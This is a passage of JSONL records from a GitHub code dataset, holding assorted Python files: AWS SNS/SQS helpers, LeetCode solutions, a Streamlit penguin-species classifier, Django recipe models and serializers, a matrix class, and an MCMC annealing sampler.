os.environ[\"sns_topic_arn\"]\n\n sns_client = boto3.client(\n \"sns\",\n region_name=\"eu-west-1\"\n )\n\n message_id = sns_client.publish(\n TopicArn=topic_arn,\n Message=message\n )\n\n return message_id\n\n\ndef read_from_sqs_queue():\n queue_url = os.environ[\"sqs_queue_url\"]\n sqs_client = boto3.client(\"sqs\", region_name=\"eu-west-1\")\n\n messages = sqs_client.receive_message(\n QueueUrl=queue_url,\n MaxNumberOfMessages=1\n )\n\n return messages\n","repo_name":"ranjithmanyam/py-unit-tests","sub_path":"awsmocking/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34103762517","text":"class Solution:\n # O(n) time | O(1) space\n def oddEvenList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if not head or not head.next:\n return head\n \n odd_head = head\n even_head = head.next\n\n odd = odd_head\n even = even_head\n\n while even and even.next:\n odd.next = even.next\n even.next = even.next.next\n\n odd = odd.next\n even = even.next\n \n odd.next = even_head\n return odd_head\n","repo_name":"ahphoo/Leetcode-Daily","sub_path":"2022/December/12-05-22_odd_even_linked_list.py","file_name":"12-05-22_odd_even_linked_list.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39716041259","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport pickle\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\nst.set_option('deprecation.showfileUploaderEncoding', False)#8.15일 이후로 엔코딩 지원 문제로 워닝 메세지 표현 하지 않기 위함 \r\n\r\nst.write(\"\"\"\r\n# 팔머(Palmer) 펭귄 3종 예측 앱\r\n이앱은 **팔머 펭귄(Palmer Penguin)** 의 종을 예측합니다.!\r\n1 젠투 펭귄(Gentoo Penguin): 머리에 모자처럼 둘러져 있는 하얀 털 때문에 알아보기가 쉽다. 암컷이 회색이 뒤에, 흰색이 앞에 있다. \r\n2 아델리 펭귄(Adelie Penguin): 각진 머리와 작은 부리 때문에 알아보기 쉽고, 다른 펭귄들과 마찬가지로 암수가 비슷하게 생겼지만 암컷이 조금 더 작다.\r\n3 턱끈 펭귄(Chinstrap Penguin): 목에서 머리 쪽으로 이어지는 턱끈 같은 검은 털이 눈에 띈다. \r\n데이터 출처 [palmerpenguins library](https://github.com/allisonhorst/palmerpenguins)\r\n\"\"\")\r\n\r\n\r\nst.sidebar.header('사용자 입력 값(Feature)')\r\n\r\nst.sidebar.markdown(\"\"\"\r\n[Example CSV input file](https://ai.shop2world.net/data/penguins_example.csv)\r\n\"\"\")\r\n\r\n# 사용자 입력 feature를 데이터 프레임에 수집\r\n\r\n\r\n\r\nuploaded_file = st.sidebar.file_uploader(\"Upload your input CSV file\", type=[\"csv\"])\r\nif uploaded_file is not None:\r\n input_df = pd.read_csv(uploaded_file)\r\nelse:\r\n def user_input_features():\r\n island = st.sidebar.selectbox('Island',('Biscoe','Dream','Torgersen'))\r\n sex = st.sidebar.selectbox('Sex',('male','female'))\r\n bill_length_mm = st.sidebar.slider('부리 길이 Bill length (mm)', 32.1,59.6,43.9)\r\n bill_depth_mm = st.sidebar.slider('Bill depth (mm)', 13.1,21.5,17.2)\r\n flipper_length_mm = st.sidebar.slider('날개 길이 Flipper length (mm)', 172.0,231.0,201.0)\r\n body_mass_g = st.sidebar.slider('몸무게 Body mass (g)', 2700.0,6300.0,4207.0)\r\n data = {'island': island,\r\n 'bill_length_mm': bill_length_mm,\r\n 'bill_depth_mm': bill_depth_mm,\r\n 'flipper_length_mm': flipper_length_mm,\r\n 'body_mass_g': body_mass_g,\r\n 'sex': sex}\r\n features = pd.DataFrame(data, index=[0])\r\n return features\r\n input_df = user_input_features()\r\n\r\n# 사용자 입력 피쳐값을 전체 펭귄 데이터 세트와 결합\r\n# 인코딩 단계에 유용합니다.\r\npenguins_raw = pd.read_csv('http://ai.shop2world.net/data/penguins.csv')\r\npenguins = penguins_raw.drop(columns=['species'])\r\ndf = pd.concat([input_df,penguins],axis=0)\r\n\r\n# 서수(ordinal features)의 인코딩\r\n# https://www.kaggle.com/pratik1120/penguin-dataset-eda-classification-and-clustering\r\nencode = ['sex','island']\r\nfor col in encode:\r\n dummy = pd.get_dummies(df[col], prefix=col)\r\n df = pd.concat([df,dummy], axis=1)\r\n del df[col]\r\ndf = df[:1] # 첫 번째 행 (사용자 입력 데이터) 만 선택합니다.\r\n\r\n# 사용자 입력 피쳐값을 표시합니다.\r\nst.subheader('사용자 입력 features')\r\n\r\nif uploaded_file is not None:\r\n st.write(df)\r\nelse:\r\n st.write('CSV 파일 업로드를 기다리고 있습니다. 현재 예제 입력 매개 변수를 사용하고 있습니다 (아래 참조).')\r\n st.write(df)\r\n\r\n# 저장된 분류 모델에서 읽습니다.\r\nload_clf = pickle.load(open('penguins_clf.pkl', 'rb'))\r\n\r\n# 모델을 적용하여 예측하기\r\nprediction = load_clf.predict(df)\r\nprediction_proba = load_clf.predict_proba(df)\r\n\r\n\r\nst.subheader('예측')\r\npenguins_species = np.array(['Adelie','Chinstrap','Gentoo'])\r\nst.write(penguins_species[prediction])\r\n\r\nst.subheader('예측 확률')\r\nst.write(prediction_proba)","repo_name":"kim-seo-hyun/Aiffel","sub_path":"streamlit/palmer_penguins/streamlit3.py","file_name":"streamlit3.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44529212433","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2022/8/2 16:13\n# @Author : 冉勇\n# @Site : \n# @File : TestCaseOutParametersDao.py\n# @Software: PyCharm\n# @desc : 测试用例输出参数(dao)逻辑\nimport time\nfrom datetime import datetime\nfrom typing import List\nfrom sqlalchemy import select, update\nfrom webapi.app.crud import Mapper, ModelWrapper\nfrom webapi.app.middleware.RedisManager import RedisHelper\nfrom webapi.app.models import async_session\nfrom webapi.app.models.out_parameters import SakuraTestCaseOutParameters\nfrom webapi.app.schema.testcase_out_parameters import SakuraTestCaseOutParametersForm\n\n\n@ModelWrapper(SakuraTestCaseOutParameters)\nclass SakuraTestCaseOutParametersDao(Mapper):\n\n @classmethod\n async def should_remove(cls, before, after):\n \"\"\"\n 找出要删除的数据\n :param before:\n :param after:\n :return:\n \"\"\"\n data = []\n for b in before:\n for a in after:\n # for..else 语法:https://blog.csdn.net/weixin_48728769/article/details/123796020\n if a.id == b.id:\n break\n else:\n data.append(b.id)\n return data\n\n @classmethod\n @RedisHelper.up_cache(\"dao\")\n async def update_many(cls, case_id: int, data: List[SakuraTestCaseOutParametersForm], user_id: int):\n \"\"\"\n 批量更新数据\n :param case_id:\n :param data:\n :param user_id:\n :return:\n \"\"\"\n result = []\n try:\n async with async_session() as session:\n async with session.begin():\n source = await session.execute(select(SakuraTestCaseOutParameters).where(\n SakuraTestCaseOutParameters.case_id == case_id,\n SakuraTestCaseOutParameters.deleted_at == 0))\n before = source.scalars().all()\n should_remove = await cls.should_remove(before, data)\n for item in data:\n if item.id is None:\n # 添加\n temp = SakuraTestCaseOutParameters(**item.dict(), case_id=case_id, user_id=user_id)\n session.add(temp)\n else:\n query = await session.execute(select(SakuraTestCaseOutParameters).where(\n SakuraTestCaseOutParameters.id == item.id))\n temp = query.scalars().first()\n if temp is None:\n # 新逻辑\n temp = SakuraTestCaseOutParameters(**item.dict(), case_id=case_id, user_id=user_id)\n session.add(temp)\n else:\n temp.name = item.name\n temp.case_id = case_id\n temp.expression = item.expression\n temp.source = item.source\n temp.match_index = item.match_index\n temp.update_user = user_id\n temp.updated_at = datetime.now()\n await session.flush()\n session.expunge(temp)\n result.append(temp)\n if should_remove:\n await session.execute(\n update(SakuraTestCaseOutParameters).where(\n SakuraTestCaseOutParameters.id.in_(should_remove)).values(deleted_at=int(time.time() * 1000)))\n return result\n except Exception as e:\n cls.__log__.error(f\"批量更新出参数失败:{str(e)}\")\n raise Exception(f\"批量更新出参数失败:{str(e)}\") from e\n","repo_name":"ranyong1997/Sakura_Admin","sub_path":"webapi/app/crud/test_case/TestCaseOutParametersDao.py","file_name":"TestCaseOutParametersDao.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17016745332","text":"# Створення класу для роботи з матрицями\n\nclass Matrix:\n def __init__(self, matrix):\n self.matrix = matrix\n self.num_rows = len(matrix)\n self.num_cols = len(matrix[0])\n\n # Зовнішній вигляд матриці\n def __str__(self):\n matrix_string = \"\"\n for row in self.matrix:\n matrix_string += \" \".join(str(elem) for elem in row) + \"\\n\"\n return matrix_string\n\n # Приведення матриць за розмірністю для додавання та віднімання\n def resize(self, num_rows, num_cols):\n if num_rows == self.num_rows and num_cols == self.num_cols:\n return self\n new_matrix = []\n for i in range(num_rows):\n row = []\n for j in range(num_cols):\n if i < self.num_rows and j < self.num_cols:\n row.append(self.matrix[i][j])\n else:\n row.append(0)\n new_matrix.append(row)\n return Matrix(new_matrix)\n\n # Додавання матриць\n def __add__(self, other):\n if self.num_rows != other.num_rows or self.num_cols != other.num_cols:\n common_num_rows = max(self.num_rows, other.num_rows)\n common_num_cols = max(self.num_cols, other.num_cols)\n self_resized = self.resize(common_num_rows, common_num_cols)\n other_resized = other.resize(common_num_rows, common_num_cols)\n else:\n self_resized = self\n other_resized = other\n result_matrix = []\n for i in range(self_resized.num_rows):\n row = []\n for j in range(self_resized.num_cols):\n row.append(self_resized.matrix[i][j] + other_resized.matrix[i][j])\n result_matrix.append(row)\n return Matrix(result_matrix)\n\n # Віднімання матриць\n def __sub__(self, other):\n if self.num_rows != other.num_rows or self.num_cols != other.num_cols:\n common_num_rows = max(self.num_rows, other.num_rows)\n common_num_cols = max(self.num_cols, other.num_cols)\n self_resized = self.resize(common_num_rows, common_num_cols)\n other_resized = other.resize(common_num_rows, common_num_cols)\n else:\n self_resized = self\n other_resized = other\n result_matrix = []\n for i in range(self_resized.num_rows):\n row = []\n for j in range(self_resized.num_cols):\n row.append(self_resized.matrix[i][j] - other_resized.matrix[i][j])\n result_matrix.append(row)\n return Matrix(result_matrix)\n\n # Множення матриць\n def __mul__(self, other):\n if isinstance(other, int) or isinstance(other, float):\n result_matrix = []\n for i in range(self.num_rows):\n row = []\n for j in range(self.num_cols):\n row.append(self.matrix[i][j] * other)\n result_matrix.append(row)\n return Matrix(result_matrix)\n elif isinstance(other, Matrix):\n if self.num_cols != other.num_rows:\n raise ValueError(\"Розмірності матриць не збігаються\")\n result_matrix = []\n for i in range(self.num_rows):\n row = []\n for j in range(other.num_cols):\n total = 0\n for k in range(self.num_cols):\n total += self.matrix[i][k] * other.matrix[k][j]\n row.append(total)\n result_matrix.append(row)\n return Matrix(result_matrix)\n\n\n # Транспонування матриць\n def transpose(self):\n result = []\n for i in range(len(self.matrix[0])):\n row = []\n for j in range(len(self.matrix)):\n row.append(self.matrix[j][i])\n result.append(row)\n return Matrix(result)\n\n # Елементарні перетворення матриць - перестановка рядків\n def swap_rows(self, row1, row2):\n if row1 == row2:\n return self\n if row1 < 0 or row1 >= self.num_rows or row2 < 0 or row2 >= self.num_rows:\n raise IndexError(\"Індекс рядка поза діапазоном\")\n new_matrix = [row[:] for row in self.matrix]\n new_matrix[row1], new_matrix[row2] = new_matrix[row2], new_matrix[row1]\n return Matrix(new_matrix)\n\n # Елементарні перетворення матриць - множення рядка на константу\n def multiply_row(self, row, scalar):\n if scalar == 0:\n raise ValueError(\"Неможливо помножити рядок на 0\")\n if row < 0 or row >= self.num_rows:\n raise IndexError(\"Індекс рядка поза діапазоном\")\n new_matrix = [row[:] for row in self.matrix]\n for j in range(self.num_cols):\n new_matrix[row][j] *= scalar\n return Matrix(new_matrix)\n\n # Елементарні перетворення матриць - додавання до рядка матриці іншого рядка, помноженого на ненульове число\n def add_rows(self, src_row, dest_row, scalar=1):\n if src_row == dest_row:\n return self\n if src_row < 0 or src_row >= self.num_rows or dest_row < 0 or dest_row >= self.num_rows:\n raise IndexError(\"Індекс рядка поза діапазоном\")\n new_matrix = [row[:] for row in self.matrix]\n for j in range(self.num_cols):\n new_matrix[dest_row][j] += scalar * new_matrix[src_row][j]\n return Matrix(new_matrix)\n\n\n# Приклад використання:\na = Matrix([[1, 2, 3], [4, 5, 6],[7, 8, 9]])\nb = Matrix([[10, 11, 12], [13, 14, 15], [16, 17, 18]])\n\nprint('Матриця a:')\nprint(a)\n\nprint('Матриця b:')\nprint(b)\n\nprint('Додавання матриць a и b:')\nprint(a + b)\n\nprint('Віднімання матриць a и b:')\nprint(a - b)\n\nprint('Множення матриць a и b:')\nprint(a * b)\n\nprint('Множення матриці a на число 2:')\nprint(a * 2)\n\nprint('Транспонування матриці a:')\nprint(a.transpose())\n\nprint('Перестановка рядків a:')\nprint(a.swap_rows(0, 2))\n\nprint('Множення рядка на константу a:')\nprint(a.multiply_row(0, 10))\n\nprint('Додавання до рядка матриці іншого рядка, помноженого на ненульове число a:')\nprint(a.add_rows(0, 1, 10))\n","repo_name":"VitalDDD/Makovetskyi.21","sub_path":"21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":6753,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12236149891","text":"'''\nAuthor : Swapnika\nCreated on 4-08-2018\n'''\n\ndef main():\n '''Replace all the special characters(!, @, #, $, %, ^, &, *) in a given string with a space.\n example : ab!@#cd is the input, the output is ab cd\n Output has three spaces, which are to be replaced with these special characters\n '''\n st_r = input()\n sp_ch = \"\"\n for i in st_r:\n if i in \"!#@$%^&*()_+\":\n i = \" \"\n sp_ch = sp_ch + i\n print(sp_ch)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"swapnika-20186045/CSPP1","sub_path":"CSPP1-Practice/M6/p2/special_char.py","file_name":"special_char.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24591067028","text":"import logging\n\n\nclass Tile(object):\n \"\"\" An object representing a 'tile' on the map. \"\"\"\n def __init__(self, char, x, y):\n self.char = char\n self.x = x\n self.y = y\n self.pos = (x, y)\n try:\n self.kind = {\n '.': 'open',\n '*': 'block',\n '@': 'spawn_point',\n }[char]\n except KeyError:\n self.kind = 'open'\n logging.error('Unknown character <{}> at ({}, {}) in map file'.format(char, x, y))\n\n if self.kind in ('open', 'spawn_point'):\n self.walkable = True\n else:\n self.walkable = False\n\n def __str__(self):\n return '{} {}'.format(self.kind, self.pos)\n\n def __repr__(self):\n return \"Tile('{}', {}, {})\".format(self.char, self.x, self.y)\n\n","repo_name":"supermitch/mech-ai","sub_path":"server/tile.py","file_name":"tile.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"12728489901","text":"from django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\n\nUser = get_user_model()\n\n\nclass MeasurementUnit(models.Model):\n \"\"\"Модель единиц измерения.\"\"\"\n\n unit_name = models.CharField(\n verbose_name=\"Единица измерения\", max_length=15, unique=True)\n\n class Meta:\n verbose_name = 'Единица измерения'\n verbose_name_plural = 'Единицы измерения'\n ordering = ['id']\n\n def __str__(self):\n return f'{self.id}: {self.slug} {self.name}'\n\n\nclass Ingredient(models.Model):\n \"\"\"Модель ингридиентов.\"\"\"\n\n name = models.CharField(verbose_name=\"Название\", max_length=75)\n measurement_unit = models.ForeignKey(\n MeasurementUnit, verbose_name=\"Единица измерения\",\n on_delete=models.CASCADE, related_name='MeasurementUnit')\n\n class Meta:\n verbose_name = 'Ингридиент'\n verbose_name_plural = 'Ингридиенты'\n ordering = ['name']\n\n def __str__(self):\n return f'{self.id}: {self.name}'\n\n\nclass Tag(models.Model):\n \"\"\"Модель тегов.\"\"\"\n\n name = models.CharField(verbose_name='Тег', max_length=50)\n slug = models.SlugField(verbose_name='Slug', unique=True, max_length=50)\n color = models.CharField(verbose_name='Цвет', max_length=16)\n\n class Meta:\n verbose_name = 'Тег'\n verbose_name_plural = 'Теги'\n ordering = ['name']\n\n def __str__(self):\n return f'{self.id}: {self.name} {self.slug}'\n\n\nclass Recipe(models.Model):\n \"\"\"Модель рецептов.\"\"\"\n\n author = models.ForeignKey(\n User, verbose_name='Автор', on_delete=models.CASCADE,\n related_name='recipes')\n name = models.CharField(verbose_name='Название', max_length=100)\n image = models.ImageField(\n verbose_name='Картинка', upload_to='recipes/images/')\n ingredients = models.ManyToManyField(\n Ingredient, through='IngredientRecipe', related_name='ingredient')\n tags = models.ManyToManyField(\n Tag, through='TagRecipe', related_name='tag')\n text = models.TextField(verbose_name='Описание')\n cooking_time = models.PositiveSmallIntegerField(\n verbose_name='Время приготовления',\n validators=[\n MinValueValidator(settings.MIN_VALUE),\n MaxValueValidator(settings.MAX_VALUE)])\n\n class Meta:\n verbose_name = 'Рецепт'\n verbose_name_plural = 'Рецепты'\n ordering = ['-id']\n\n def __str__(self):\n return f'{self.id}: {self.name}'\n\n\nclass TagRecipe(models.Model):\n recipe = models.ForeignKey(\n Recipe, verbose_name='Рецепт', on_delete=models.CASCADE)\n tag = models.ForeignKey(\n Tag, verbose_name='Тег', on_delete=models.CASCADE)\n\n class Meta:\n verbose_name = 'Тег и Рецепт'\n verbose_name_plural = 'Теги и Рцепты'\n ordering = ['id']\n constraints = [\n models.UniqueConstraint(\n fields=('recipe', 'tag'),\n name='unique_recipe_tag'\n )\n ]\n\n def __str__(self):\n return f'{self.id}: {self.recipe.name} {self.tag.name}'\n\n\nclass IngredientRecipe(models.Model):\n \"\"\"Модель для связи многие ко многим. Ингридиенты и рецепты.\"\"\"\n\n recipe = models.ForeignKey(\n Recipe, verbose_name='Рецепт', on_delete=models.CASCADE)\n ingredient = models.ForeignKey(\n Ingredient, verbose_name='Ингридиент', on_delete=models.CASCADE)\n\n amount = models.PositiveSmallIntegerField(\n verbose_name='Количество',\n validators=[\n MinValueValidator(settings.MIN_VALUE),\n MaxValueValidator(settings.MAX_VALUE)])\n\n class Meta:\n verbose_name = 'Ингридиент и Рецепт'\n verbose_name_plural = 'Ингридиеты и Рцепты'\n ordering = ['id']\n constraints = [\n models.UniqueConstraint(\n fields=('recipe', 'ingredient'),\n name='unique_recipe_ingredient'\n )\n ]\n\n def __str__(self):\n return f'{self.recipe.name} {self.ingredient.name} {self.amount}'\n\n\nclass Follow(models.Model):\n \"\"\"Подписки.\"\"\"\n\n user = models.ForeignKey(\n User, on_delete=models.CASCADE, related_name='follower',\n verbose_name='Подписчик')\n following = models.ForeignKey(\n User, on_delete=models.CASCADE, related_name='following',\n verbose_name='Автор')\n\n class Meta:\n verbose_name = 'Подписчик'\n verbose_name_plural = 'Подписчики'\n constraints = [\n models.UniqueConstraint(\n fields=['user', 'following'],\n name='unique_follow')\n ]\n ordering = ['following__username']\n\n def __str__(self):\n return f'{self.user.username} {self.following.username}'\n\n\nclass Favorite(models.Model):\n \"\"\"Избранное.\"\"\"\n\n user = models.ForeignKey(\n User, on_delete=models.CASCADE, related_name='favorite',\n verbose_name='Пользователь')\n recipe = models.ForeignKey(\n Recipe, on_delete=models.CASCADE, related_name='favorite',\n verbose_name='Рецепт')\n\n class Meta:\n verbose_name = 'Избранный рецепт'\n verbose_name_plural = 'Избранные рецепты'\n ordering = ['id']\n constraints = [\n models.UniqueConstraint(\n fields=['user', 'recipe'],\n name='unique_favorite')\n ]\n\n def __str__(self):\n return f'{self.id}: {self.user.username} {self.recipe.name}'\n\n\nclass ShoppingCart(models.Model):\n \"\"\"Крзина для покупок.\"\"\"\n\n user = models.ForeignKey(\n User, on_delete=models.CASCADE, related_name='shopping_cart',\n verbose_name='Пользователь'\n )\n recipe = models.ForeignKey(\n Recipe, on_delete=models.CASCADE, related_name='shopping_cart',\n verbose_name='Рецепт'\n )\n\n class Meta:\n verbose_name = 'Корзина покупок'\n verbose_name_plural = 'Корзины покупок'\n ordering = ['id']\n constraints = [\n models.UniqueConstraint(\n fields=('user', 'recipe'),\n name='unique_shopping_cart'\n )\n ]\n\n def __str__(self):\n return f'{self.id}: {self.user}: {self.recipe}'\n","repo_name":"kirill-chu/foodgram-project-react","sub_path":"backend/foodgram_backend/recipes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44189495023","text":"from typing import *\n\n\n\nclass Solution:\n \"\"\"\n https://www.cnblogs.com/grandyang/p/4743837.html\n https://blog.csdn.net/qq508618087/article/details/50283715\n \"\"\"\n def nthUglyNumber(self, n):\n res = [1]\n i2, i3, i5 = 0, 0, 0\n while len(res) < n:\n m2 = res[i2] * 2\n m3 = res[i3] * 3\n m5 = res[i5] * 5\n mn = min(m2, m3, m5)\n if mn == m2:\n i2 += 1\n elif mn == m3:\n i3 += 1\n else:\n i5 += 2\n return res.pop()\n\n","repo_name":"lianglee123/leetcode","sub_path":"200~300/261~270/264.ugly-number-ii.py","file_name":"264.ugly-number-ii.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3282807690","text":"from rest_framework.serializers import (\n HyperlinkedIdentityField,\n HyperlinkedRelatedField,\n ModelSerializer,\n)\n\nfrom .models import (\n User,\n # Post,\n Graph,\n GraphRun\n)\n\n\nclass UserSerializer(ModelSerializer):\n\n graphs = HyperlinkedIdentityField(view_name='user-graphs')\n\n class Meta:\n model = User\n fields = (\n 'id',\n 'username',\n 'first_name',\n 'last_name',\n 'graphs',\n )\n\n\n# class PostSerializer(ModelSerializer):\n\n# author = HyperlinkedRelatedField(view_name='user-detail', read_only=True)\n\n# def get_validation_exclusions(self, *args, **kwargs):\n# # exclude the author field as we supply it later on in the\n# # corresponding view based on the http request\n# exclusions = super(PostSerializer, self).get_validation_exclusions(*args, **kwargs)\n# return exclusions + ['author']\n\n# class Meta:\n# model = Post\n# fields = '__all__'\n\n\nclass GraphSerializer(ModelSerializer):\n\n author = HyperlinkedRelatedField(view_name='user-detail', read_only=True)\n\n def get_validation_exclusions(self, *args, **kwargs):\n # exclude the author field as we supply it later on in the\n # corresponding view based on the http request\n exclusions = super(GraphSerializer, self).get_validation_exclusions(*args, **kwargs)\n return exclusions + ['author']\n\n class Meta:\n model = Graph\n fields = '__all__'\n\n\nclass GraphRunSerializer(ModelSerializer):\n\n # graphruns = HyperlinkedIdentityField(view_name='graph-runs')\n graph = GraphSerializer(read_only=True)\n\n class Meta:\n model = GraphRun\n fields = '__all__'\n\n # fields = (\n # 'graph',\n # 'state',\n # 'run_id',\n # 'created',\n # 'content',\n # )\n\n","repo_name":"crazysal/vue-django-rest-auth","sub_path":"server/server/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"20503052413","text":"import matplotlib.pyplot as plt\nimport jax\nimport jax.numpy as jnp\nfrom sampling.dynamics import random_unit_vector\nfrom sampling.sampler import hamiltonian_dynamics, grad_evals\n\n\n\nclass Sampler:\n \"\"\"Ensamble MCHMC (q = 0 Hamiltonian) sampler\"\"\"\n\n def __init__(self, Target, shift_fn = lambda x, y: x + y, alpha = 1.0, varE_wanted = 1e-4, integrator='MN'):\n \"\"\"Args:\n Target: the target distribution class.\n alpha: the momentum decoherence scale L = alpha sqrt(d). Optimal alpha is typically around 1, but can also be 10 or so.\n varE_wanted: controls the stepsize after the burn-in. We aim for Var[E] / d = 'varE_wanted'.\n \"\"\"\n\n self.Target = Target\n self.masses = jnp.ones(self.Target.d)\n\n self.alpha = alpha\n self.L = jnp.sqrt(self.Target.d) * alpha\n self.varEwanted = varE_wanted\n self.shift_fn = shift_fn\n\n self.integrator = integrator\n\n self.grad_evals_per_step = grad_evals[self.integrator]\n\n self.eps_initial = jnp.sqrt(self.Target.d) # this will be changed during the burn-in\n\n # adjust L and eps as a funciton of temperature\n self.temp_func = lambda T, Tprev, L, eps : (L, eps)\n\n\n def random_unit_vector(self, random_key, num_chains):\n \"\"\"Generates a random (isotropic) unit vector.\"\"\"\n key, subkey = jax.random.split(random_key)\n u = jax.random.normal(subkey, shape = (num_chains, self.Target.d), dtype = 'float64')\n normed_u = u / jnp.sqrt(jnp.sum(jnp.square(u), axis = 1))[:, None]\n return normed_u, key\n\n\n def partially_refresh_momentum(self, u, random_key, nu):\n \"\"\"Adds a small noise to u and normalizes.\"\"\"\n key, subkey = jax.random.split(random_key)\n noise = nu * jax.random.normal(subkey, shape= u.shape, dtype=u.dtype)\n\n return (u + noise) / jnp.sqrt(jnp.sum(jnp.square(u + noise), axis = 1))[:, None], key\n\n def dynamics(self, hamiltonian_dynamics, x, u, g, random_key, L, eps, T):\n \"\"\"One step of the generalized dynamics.\"\"\"\n\n # Hamiltonian step\n xx, uu, ll, gg, kinetic_change = hamiltonian_dynamics(x=x,u=u,g=g/T, eps=jnp.repeat(eps, x.shape[0]))\n ll, gg = ll * T, gg * T\n\n # bounce\n nu = jnp.sqrt((jnp.exp(2 * eps / L) - 1.0) / self.Target.d)\n uu, key = self.partially_refresh_momentum(uu, random_key, nu)\n\n return xx, uu, ll, gg, kinetic_change, key\n\n\n def initialize(self, random_key, x_initial, num_chains):\n\n\n if random_key is None:\n key = jax.random.PRNGKey(0)\n else:\n key = random_key\n\n if isinstance(x_initial, str):\n if x_initial == 'prior': # draw the initial x from the prior\n keys_all = jax.random.split(key, num_chains + 1)\n x = jax.vmap(self.Target.prior_draw)(keys_all[1:])\n key = keys_all[0]\n\n else: # if not 'prior' the x_initial should specify the initial condition\n raise KeyError('x_initial = \"' + x_initial + '\" is not a valid argument. \\nIf you want to draw initial condition from a prior use x_initial = \"prior\", otherwise specify the initial condition with an array')\n\n else: # initial x is given\n x = jnp.copy(x_initial)\n\n l, g = jax.vmap(self.Target.grad_nlogp)(x)\n\n\n ### initial velocity ###\n u, key = self.random_unit_vector(key, num_chains) # random velocity orientations\n \n ## if you want to use random_unit_vector from dynamics, this is how\n # keys = jax.random.split(key, num=num_chains+1)\n # u, key = jax.vmap(random_unit_vector(self.Target.d))(keys[1:]) # random velocity orientations\n\n\n return x, u, l, g, key\n\n\n\n def sample_temp_level(self, num_steps, tune_steps, x0, u0, l0, g0, E0, key0, L0, eps0, T):\n\n def energy_at_temperature(x):\n l, g = self.Target.grad_nlogp(x)\n return l/T, g/T\n\n hd = jax.vmap(hamiltonian_dynamics(integrator=self.integrator, sigma=1/jnp.sqrt(self.masses), grad_nlogp=energy_at_temperature, shift=self.shift_fn, d=self.Target.d))\n \n\n def step(state, tune):\n\n x, u, l, g, E, key, L, eps = state \n x, u, ll, g, kinetic_change, key = self.dynamics(hd, x, u, g, key, L, eps, T) # update particles by one step\n \n ## eps tuning ###\n de = jnp.square(kinetic_change + (ll - l)/T) / self.Target.d\n varE = jnp.average(de) #averaged over the ensamble\n\n #if we are in the tuning phase #else\n eps *= (tune * jnp.power(varE / self.varEwanted, -1./6.) + (1-tune))\n\n\n ### L tuning ###\n #typical width of the posterior\n moment1 = jnp.average(x, axis=0)\n moment2 = jnp.average(jnp.square(x), axis = 0)\n var= moment2 - jnp.square(moment1)\n sig = jnp.sqrt(jnp.average(var)) # average over dimensions (= typical width of the posterior)\n\n Lnew = self.alpha * sig * jnp.sqrt(self.Target.d)\n L = tune * Lnew + (1-tune) * L #update L if we are in the tuning phase\n\n\n EE = E + kinetic_change + (ll - l)/T\n\n return (x, u, ll, g, EE, key, L, eps), (x, EE)\n\n\n #tuning #no tuning\n tune_schedule = jnp.concatenate((jnp.ones(tune_steps), jnp.zeros(num_steps - tune_steps)))\n\n return jax.lax.scan(step, init= (x0, u0, l0, g0, E0, key0, L0, eps0), xs= tune_schedule, length= num_steps)\n\n\n\n\n def sample(self, steps_at_each_temp, tune_steps, num_chains, temp_schedule, x_initial= 'prior', random_key= None):\n\n x0, u0, l0, g0, key0 = self.initialize(random_key, x_initial, num_chains) #initialize the chains\n\n temp_schedule_ext = jnp.insert(temp_schedule, 0, temp_schedule[0]) # as if the temp level before the first temp level was the same\n\n\n def temp_level(state, iter):\n x, u, l, g, E, key, L, eps = state\n T, Tprev = temp_schedule_ext[iter], temp_schedule_ext[iter-1]\n \n # L *= jnp.sqrt(T / Tprev)\n # eps *= jnp.sqrt(T / Tprev)\n\n L, eps = self.temp_func(T, Tprev, L, eps)\n\n\n # jax.debug.print(\"eps: {}, L: {}\", eps, L)\n # if self.resample:\n # logw = -(1.0/T - 1.0/Tprev) * l\n # x, u, l, g, key, L, eps, T = resample_particles(logw, x, u, l, g, key, L, eps, T)\n\n\n\n next_state, (xs, EE) = self.sample_temp_level(steps_at_each_temp, tune_steps, x, u, l, g, E, key, L, eps, T)\n\n return next_state, (xs, EE)\n\n return jax.lax.scan(temp_level, init= (x0, u0, l0, g0, jnp.zeros(x0.shape[0]), key0, self.L, self.eps_initial), xs= jnp.arange(1, len(temp_schedule_ext)))[1]\n \n","repo_name":"JakobRobnik/MicroCanonicalHMC","sub_path":"sampling/annealing.py","file_name":"annealing.py","file_ext":"py","file_size_in_byte":6861,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"62"} +{"seq_id":"70859022919","text":"from fastapi import FastAPI\nfrom pydantic import BaseModel\nfrom utils.functions import *\nfrom utils.tireCarteBaseModel import TireCarte\n\n#### Définition d'un webservice utilisant 